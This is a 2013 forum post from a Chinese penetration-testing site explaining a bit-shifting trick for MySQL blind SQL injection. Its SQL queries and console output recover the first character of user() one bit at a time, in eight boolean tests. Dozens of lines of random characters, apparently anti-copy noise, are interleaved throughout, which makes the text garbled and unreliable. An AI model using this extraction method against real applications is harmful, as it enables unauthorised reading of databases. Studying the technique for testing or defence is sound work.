中国网络渗透测试联盟
标题:
关于通过对8bit的ascii做右位移提高mysql盲注效率
[打印本页]
作者:
admin
时间:
2013-3-7 13:25
标题:
关于通过对8bit的ascii做右位移提高mysql盲注效率
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
. R. [: I |- D& b7 H- F
/ Q d, a4 T1 {5 `5 h7 V% H
- Z: R7 G7 O6 U5 i$ @: b
5 \' T; ^' Y* {
下面将以查询mysql数据库当中user()的第一位为例:
: n2 D' ^2 y1 V4 @. Y+ i5 V4 ~
2 ]( G$ |8 o* L
* D- I7 A V2 n3 h* o3 y7 ]
. W9 Z2 Z# o0 Q/ [/ ?
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
3 n3 @9 u4 u4 K4 N6 w
s* `6 g- t! R" s+ _
' P( R3 L+ ]' D
. ~! N+ \4 o; z- J1 G- x
首先执行如下sql语句:
7 C& f# h6 [8 ~4 y
4 K! N* l% A( b; O
+ s. w3 G% j, f$ U' d9 Z5 C4 P
( s. @* F. {3 h. [, L4 L
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
/ N$ \, ^, i2 ]3 a4 P- [2 g+ O6 c4 Z
: L; _* s' K' v
4 V$ ~9 g, Y' c. W0 {+ I
! ?- y, \8 P: e9 O R: b2 B
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
" Q( G$ P, a1 |" `- i8 f
9 r) ]5 F8 k. }5 o" Z" Z
9 ]6 @: u7 D4 B- q, `- Y
, {: q& z' P4 j4 t
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
! g( ^! P* R$ g- d' ~5 b+ Q
5 U8 x' Y1 c, k# _
- a2 ^- k# P6 Q1 y4 T9 J0 N
$ d4 |2 J& I$ O# L/ m
如果运算结果为1,说明第一位为0,不为1
9 n8 B& O+ A( B5 f D* f% P# q7 |
& ~! v. z/ h- e% y7 Z
* A; ~; R, Z! u& H) U; e# N# r) p1 E
6 u6 A* l( Q5 W6 B! [7 F
+————————————–+
# K4 G1 _- N* V9 l
6 W% U+ D$ @) ?/ [2 Z/ g r4 _
| (ascii((substr(user(),1,1))) >> 7)=0 |
4 H( x' f+ W: c3 K5 V
. P, O) M3 Y% N: P
+————————————–+
0 U: U4 ]3 R2 o& H7 X7 N; ~9 e ~
. z9 {; i. c* n% ]' _- x2 d
| 1 |
3 h O6 }, A: W- f
3 D" H( [( q, Y# m0 X; K, _
+————————————–+
& J9 w, N5 L R' J$ K3 z4 Q
; p* O, G. f9 v# ~ r; N/ j
1 row in set (0.00 sec)
3 ~: P7 p" q2 \2 `& X% B0 ^, G
3 L9 Z! o5 h3 d! f$ J
这样我们就确定这个8bit的ascii的第一位为0
5 }: A6 G% C* K0 U; K* Q
2 Z% f0 Y3 o& d# Z6 q6 r# k
7 K* h: F/ M; J
) `; t6 `3 E" R
第二次我们来做6次右偏移来确定前两位
2 {" {1 b7 N& [# E5 G
0 {5 R$ F4 f$ Z% }8 l1 U
+ k3 h4 X8 a( e ^
9 M1 ]7 `! f$ r
前两位可能是01或00,即依然可以与0做比较,
- }- C: {$ B* B8 l/ R0 C( [
" T/ R6 v$ j# F1 p
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
$ F8 ~' g& q" N: y# Z
2 o) p. ?# k- O
+————————————–+
6 m+ p' x6 Y8 P/ i9 O2 e$ O9 f1 E
3 @0 s, x2 C! q! Q- A) S
| (ascii((substr(user(),1,1))) >> 6)=0 |
* L* Y# M4 Y: X# U2 m8 m6 [
3 v+ |* ~, e0 t" n
+————————————–+
* O* x2 Z- m2 ?6 G1 Q
+ K+ m8 o5 c# l) @9 N
| 0 |
( P' o/ Y/ U! h- U7 p
/ |, A* v* \; C0 ?4 h h
+————————————–+
2 E7 b6 Y3 @# W f; `
6 ~# A$ ~& `. B+ W) d
1 row in set (0.00 sec)
1 M& d0 l! d# y' {: p
1 |( [( O, y/ I! y! F% X c
1 d2 E; s; E. Q4 W& x& b3 u2 `' w
- o& Q+ @" l" b2 \
结果为0,即第二位为1
; x$ n2 u# a+ k6 O
$ \! A: O4 l( u! F
0 R* [0 _9 K d
. Y7 Y( b; p# n+ i
开始猜测前三位为010或011
- F; q* A/ N. Z! B! {( J" ~3 ]: Q% W
5 q1 m2 L1 [ j! W8 t2 z9 P
( I# s% b. }2 M r% s/ E3 T. n# n
! o/ r m9 }9 W
让我们看看010和011的ascii码是多少
( Y/ G& r! l9 `- ?2 I
* ~% w4 ?* \& Z* \) V/ Y
$ `9 K, }+ x3 q
) O: K/ G o4 ]/ ^# q# x! s( p0 h
分别查询select b’011′ select b’010′
- e' f) ~0 S" Z/ Q( `
8 b# W8 Y' C7 ^" u6 ~
. f) E9 ?4 x( b) L7 v
6 V$ f( C9 \# \% I6 F3 K2 b( `; |
获得结果 010 = 2 011 = 3
g2 r! ?7 h- N3 E- Q2 F
* Y5 f- @1 Y o" r% Y
+ a0 `( K6 ? o; j1 j
9 L# r; g( R( ^1 q
执行如下sql:
3 Q* ~: V. u- a6 C
0 ?" t1 z9 J" v5 y/ z
" i3 j% Q, s4 E, R8 {
! l# C* t$ F: w$ }8 t
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
+ a7 Q' {6 ?) o- W7 l
9 N" [4 a% k+ j8 _- e* S. f
+————————————–+
+ f3 g" d( _7 a7 m. Q/ p3 \0 G0 n
" h H9 Q! P$ y( h. L4 w! Y
| (ascii((substr(user(),1,1))) >> 5)=2 |
1 e1 |/ a( E9 v0 Q! C7 [1 A" a+ ]
7 O/ h! C: h; f2 n' I4 f# w8 o
+————————————–+
- o7 s- q( `2 E3 [
R R' E$ }8 R' A: N* i2 T: I$ v
| 0 |
/ n( G$ H7 [. G" q0 Z; ^* X
) P: o' }# R0 w4 q
+————————————–+
% X( g3 w/ B w0 B; x' i" g% d
+ V5 {1 n7 Q h$ I, Z# m& A
即前三位不为010,而是011
f; O- I6 U- Y6 a( C4 ^0 J
& b( L: ]! d6 G" i% d! P$ p! d$ ?* g1 _
0 H& H3 X% f3 l% N6 O7 u
' Z2 `' r7 R7 L" }2 b7 I5 @
直到获得最后一位
9 h; F" _' n M2 r2 `+ z7 h
! i+ @3 I/ T) I$ M" w. L" [. h3 s2 P" Q3 R
- E( g" q+ h" b$ Q* H% r2 q/ L
4 s& A6 f' x% c) v0 ?, q" P
最终结果为:01110010
9 G7 u1 U. F/ ]2 D( k0 a
; N2 s+ \5 N3 l L( }% J6 Y3 G& ~
* M* I) Q" u5 a
2 M, M U0 T, a W
转换一下:
0 ?* y1 f* d+ k i3 S
m, ]: v- d* k
" p" ]9 A) {( O$ F8 _9 V+ z
0 I' B6 n: c, B9 v+ e. G- g& \$ O
select b’01110010′
. |- S( o4 J* `, }( `! [
: _1 g0 z6 W# |* _2 {
) A- P4 ^2 A2 z1 O
+ }" v6 s7 e, v* B8 Q3 O
查询结果
2 c4 G, @) c+ }4 Q8 S6 H' J
; J) {0 ~ E! Z! A
4 C1 y1 D4 w I, f$ h! z
$ v8 A6 l% Z b% v s/ Y; z
+————-+
5 S$ h( h) T: j! [# a4 @
+ w! D+ Z$ I/ q
| b’01110010′ |
9 L+ y$ P: L! o7 `
+ w+ M2 {9 x9 `! e
+————-+
# z' n) ?5 h8 Y3 f
8 K; N+ v6 h' q2 r( q
| r |
! h! J$ p0 F! X: u( P
8 C9 i2 `2 m) d' P7 \7 I
+————-+
/ C! B) s! }) h/ j: u9 v
- P6 H9 J1 M$ l& @
1 row in set (0.00 sec)
3 K% F# i! R* C2 V
- m ~$ ]2 L. I+ B9 K
o$ J, O2 d& k' c
. h! R/ P: g4 a( u5 D0 o
这样我们就获得了user()的第一位.其它位依此类推
- H! t5 p8 {! i9 u( J" T
2 @9 P' |: I/ _) p( t; C& g
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2